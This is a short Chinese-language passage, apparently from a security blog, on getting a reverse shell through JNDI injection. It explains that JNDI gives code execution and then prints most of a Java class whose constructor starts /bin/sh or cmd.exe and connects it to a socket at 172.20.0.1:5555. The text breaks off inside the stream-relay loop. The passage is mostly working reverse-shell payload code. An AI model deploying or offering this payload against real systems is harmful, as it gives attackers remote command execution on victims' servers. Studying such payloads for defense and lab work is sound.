JNDI中的反弹
JNDI中的反弹 JNDI的具体危害不是代码执行,是 代码执行 ,也就是说我们可以自行编写编译一个Java的反弹字节码文件,理论上就可以反弹Shell import java . io . InputStream ; import java . io . OutputStream ; import java . net . Socket ; public class Reverse { public Reverse () throws Exception { //IP & Port String host = "172.20.0.1" ; int port = 5555 ; //Linux "/bin/sh" // Windows "cmd.exe" String cmd = "/bin/sh" ; Process p = new ProcessBuilder ( cmd ). redirectErrorStream ( true ). start (); Socket s = new Socket ( host , port ); InputStream pi = p . getInputStream (), pe = p . getErrorStream (), si = s . getInputStream (); OutputStream po = p . getOutputStream (), so = s . getOutputStream (); wh...